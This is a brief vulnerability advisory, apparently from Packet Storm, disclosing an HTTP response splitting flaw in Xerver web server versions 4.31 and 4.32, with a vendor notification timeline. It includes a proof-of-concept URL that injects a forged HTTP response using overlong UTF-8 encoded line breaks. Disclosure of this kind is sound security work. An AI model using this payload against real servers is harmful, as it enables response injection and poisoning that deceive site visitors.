Xerver versions 4.31 and 4.32 suffer from an HTTP response splitting vulnerability.
9d12b3fa059c37d1b2bf9abba9c4c99fDiscovered: 04-10-08
By: SecureState R&D Team - sasquatch
Vendor Notified: 04-11-08
Vendor Response: 04-13-08
Vendor Notified: 10-07-09
Vendor Response: NONE
Published: 11-18-09
Proof of Concept:
http://server/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8=D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbo=dy%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3=C/html%3E%8D%C0%8A%C0%8D%C0%8A
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!